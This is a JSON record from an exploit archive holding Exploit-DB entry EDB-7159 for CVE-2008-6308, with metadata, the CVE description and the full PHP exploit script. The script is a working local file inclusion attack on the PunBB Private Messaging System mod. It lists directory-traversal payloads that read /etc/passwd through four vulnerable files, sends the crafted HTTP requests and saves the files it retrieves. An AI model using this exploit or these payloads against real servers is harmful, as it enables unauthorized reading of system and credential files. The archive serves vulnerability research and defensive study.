{"exploit":{"id":"EDB-7159","name":"PunBB (Private Messaging System 1.2.x) - Multiple Local File Inclusions (LFI)","description":"PunBB (Private Messaging System 1.2.x) - Multiple Local File Inclusions (LFI)","cves":["CVE-2008-6308"],"author":"StAkeR","published":"2008-11-19","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/7159","path":"exploits/php/webapps/7159.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-7159.php","vulnerabilities":[{"id":"CVE-2008-6308","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple directory traversal vulnerabilities in Private Messaging System (PMS) 1.2.3 and earlier for PunBB allow remote attackers to include and execute arbitrary files via a .. (dot dot) in the pun_user[language] parameter to (1) functions_navlinks.php, (2) header_new_messages.php, (3) profile_send.php, and (4) viewtopic_PM-link.php in include/pms/.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-6308","cvss":{"version":"2.0","baseScore":5.1,"severity":"medium","vectorString":"AV:N/AC:H/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-6308"},"updatedAt":"2024-08-07T11:27:35.574Z","retrievedAt":"2026-11-26T20:08:33.140Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-7159.png?v=2","url":"https://exploitbin.com/exploits/EDB-7159","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-7159/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-7159/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n\nerror_reporting(0);\nini_set(\"default_socket_timeout\",5);\n\n\n\n\n/*\n\n\n    PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit\n    -----------------------------------------------------------\n    by athos - staker[at]hotmail[dot]it\n    download mod http://www.punres.org/files.php?pid=52\n    download cms http://punbb.org\n    -----------------------------------------------------------\n    register_globals = 1\n    magic_quotes_gpc = 1\n\n    Directory (files/include/pms)\n\n    functions_navlinks.php?pun_user[language]=../../../../../etc/passwd\n    profile_send.php?pun_user[language]=../../../../../etc/passwd\n    viewtopic_PM-link.php?pun_user[language]=../../../../../etc/passwd\n\n    ../../etc/passwd and nullbyte\n\n\n\n    File (files/include/pms/functions_navlinks.php)\n\n    1. <?php\n    2. \trequire PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';\n\n    $pun_user['language'] isn't declared :D you can include any file\n\n    functions_navlinks.php?pun_user[language]=../../../etc/passwd%00\n    -------------------------------------------------------------------\n\n    File (files/include/pms/header_new_messages.php)\n\n    1. <?php\n    2. if(!$pun_user['is_guest'] && $pun_user['g_pm'] == 1 && $pun_config['o_pms_enabled'] ){\n    3. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';\n\n    $pun_user['g_pm'] isn't declared\n    $pun_config['o_pms_enabled'] isn't declared\n\n    header_new_messages.php?pun_user[g_pm]=1&pun_config[o_pms_enabled]=x&pun_user[language]=../etc/passd%00\n\n\n    -------------------------------------------------------------------\n\n    File (files/include/pms/profile_send.php))\n\n    1. <?php\n    2. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';\n\n    $pun_user['language'] isn't declared\n\n    profile_send.php?pun_user[language]=../../../../etc/passwd%00\n\n    -------------------------------------------------------------------\n\n    File (files/include/pms/viewtopic_PM-link.php)\n\n    1. <?php\n    2. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';\n\n    $pun_user['language'] isn't declared\n\n    viewtopic_PM-link.php?pun_user[language]=../../../../etc/passwd%00\n\n    -------------------------------------------------------------------\n\n\n    Usage:  php [punbb.php] [host/path] [mode]\n            php [punbb.php] [host/path] [save]\n            php [punbb.php] [host/path] [NULL]\n\n   Example:\n            php punbb.php localhost/punbb save\n            php punbb.php localhost/punbb\n\n\n    NOTE: Don't add me on MSN Messenger\n\n\n\n*/\n\n$exploit = new Exploit;\n$domain = $argv[1];\n$mymode = $argv[2];\n\n$exploit->starting();\n$exploit->is_vulnerable($domain);\n$exploit->exploiting($domain,$mymode);\n\n\n\nclass Exploit\n{\n\n  function http_request($host,$data)\n  {\n\n    if(!$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP))\n    {\n       echo \"socket_create() error!\\r\\n\";\n       exit;\n    }\n    if(!socket_set_option($socket,SOL_SOCKET,SO_BROADCAST,1))\n    {\n      echo \"socket_set_option() error!\\r\\n\";\n      exit;\n    }\n\n    if(!socket_connect($socket,$host,80))\n    {\n      echo \"socket_connect() error!\\r\\n\";\n      exit;\n    }\n    if(!socket_write($socket,$data,strlen($data)))\n    {\n      echo \"socket_write() errror!\\r\\n\";\n      exit;\n    }\n\n    while($get = socket_read($socket,1024,PHP_NORMAL_READ))\n    {\n      $content .= $get;\n    }\n\n    socket_close($socket);\n\n\n   $array = array(\n                 'HTTP/1.1 404 Not Found',\n                 'HTTP/1.1 300 Multiple Choices',\n                 'HTTP/1.1 301 Moved Permanently',\n                 'HTTP/1.1 302 Found',\n                 'HTTP/1.1 304 Not Modified',\n                 'HTTP/1.1 400 Bad Request',\n                 'HTTP/1.1 401 Unauthorized',\n                 'HTTP/1.1 402 Payment Required',\n                 'HTTP/1.1 403 Forbidden',\n                 'HTTP/1.1 405 Method Not Allowed',\n                 'HTTP/1.1 406 Not Acceptable',\n                 'HTTP/1.1 407 Proxy Authentication Required',\n                 'HTTP/1.1 408 Request Timeout',\n                 'HTTP/1.1 409 Conflict',\n                 'HTTP/1.1 410 Gone',\n                 'HTTP/1.1 411 Length Required',\n                 'HTTP/1.1 412 Precondition Failed',\n                 'HTTP/1.1 413 Request Entity Too Large',\n                 'HTTP/1.1 414 Request-URI Too Long',\n                 'HTTP/1.1 415 Unsupported Media Type',\n                 'HTTP/1.1 416 Request Range Not Satisfiable',\n                 'HTTP/1.1 417 Expectation Failed',\n                 'HTTP/1.1 Retry With',\n                );\n\n\n    for($i=0;$i<=count($array);$i++)\n\n    if(eregi($array[$i],$content))\n    {\n      return (\"$array[$i]\\r\\n\");\n      break;\n    }\n    else\n    {\n      return (\"$content\\r\\n\");\n      break;\n    }\n  }\n\n\n  function is_vulnerable($host)\n  {\n    $host = explode('/',$host);\n\n    $header .= \"GET /$host[1]/profile_send.php?pun_user[language]=%27 HTTP/1.1\\r\\n\";\n    $header .= \"Host: $host[0]\\r\\n\";\n    $header .= \"User-Agent: Mozilla/4.5 [en] (Win95; U)\\r\\n\";\n    $header .= \"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\n\";\n    $header .= \"Accept-Language: en-us,en;q=0.5\\r\\n\";\n    $header .= \"Accept-Encoding: gzip,deflate\\r\\n\";\n    $header .= \"Connection: close\\r\\n\\r\\n\";\n\n    if(stristr($this->http_request($host[0],$header),\"\\\\'\"))\n    {\n      echo \"[+] Magic Quotes GPC/Register Globals On!\\n\";\n      echo \"[+] Exploit Failed!\\n\";\n      exit;\n    }\n    else\n    {\n      return false;\n    }\n  }\n\n  function starting()\n  {\n\n    global $argv;\n\n    if(preg_match('/http://(.+?)$/',$argv[1]) or empty($argv[1]))\n    {\n\n      echo \"[+] PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit\\r\\n\";\n      echo \"[+] by athos - staker[at]hotmail[dot]it\\r\\n\";\n      echo \"    -----------------------------------------------------------\\r\\n\";\n      echo \"[+] Usage: php $argv[0] [host/path] [mode]\\r\\n\";\n      echo \"[+] Usage: php $argv[0] [host/path] [save]\\r\\n\";\n      echo \"[+] Usage: php $argv[0] [host/path]        \\r\\n\";\n      exit;\n\n    }\n  }\n\n  function exploiting($host,$mode)\n  {\n\n    $host = explode('/',$host);\n    $i = 0;\n\n\n    echo \"[+] Local File (ex: ../../etc/passwd%00)\\r\\n\";\n    echo \"[+] Local File: \";\n\n    $file = stripslashes(trim(fgets(STDIN)));\n\n    if(empty($file)) die(\"you fail\");\n\n\n    $array = array (\n                    \"functions_navlinks.php?pun_user[language]=$file\",\n                    \"profile_send.php?pun_user[language]=$file\",\n                    \"viewtopic_PM-link.php?pun_user[language]=$file\",\n                    \"header_new_messages.php?pun_user[g_pm]=1&pun_config[o_pms_enabled]=x&pun_user[language]=$file\",\n                  );\n\n    $write .= \"GET /$host[1]/files/include/pms/$array[$i] HTTP/1.1\\r\\n\";\n    $write .= \"Host: $host[0]\\r\\n\";\n    $write .= \"User-Agent: Mozilla/4.5 [en] (Win95; U)\\r\\n\";\n    $write .= \"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\n\";\n    $write .= \"Accept-Language: en-us,en;q=0.5\\r\\n\";\n    $write .= \"Accept-Encoding: gzip,deflate\\r\\n\";\n    $write .= \"Connection: close\\r\\n\\r\\n\";\n\n\n\n\n    if(stristr($this->http_request($host[0],$write),'No such file or directory in'))\n    {\n      $i++;\n    }\n    else\n    {\n      if($mode == \"save\")\n      {\n\n        $rand = rand(0,99999);\n        fclose(fwrite(fopen(getcwd().'/'.$rand.'.txt',\"a+\"),$this->http_request($host[0],$write)));\n\n        echo \"[+] File $rand Saved Successfully!\\r\\n\";\n        echo \"[+] Exploit Terminated!\\r\\n\";\n        exit;\n\n      }\n      else\n      {\n        echo $this->http_request($host[0],$write);\n        exit;\n      }\n    }\n  }\n}\n\n# milw0rm.com [2008-11-19]","sha256":"7860413cc7e6b5fd21bb42fa615b4f45e86efde5186b70d71bbfc9c6ea3e0200","bytes":7555,"fetchedAt":"2026-11-26T20:08:29.889Z","encoding":"utf-8 (display only; download retains original bytes)"}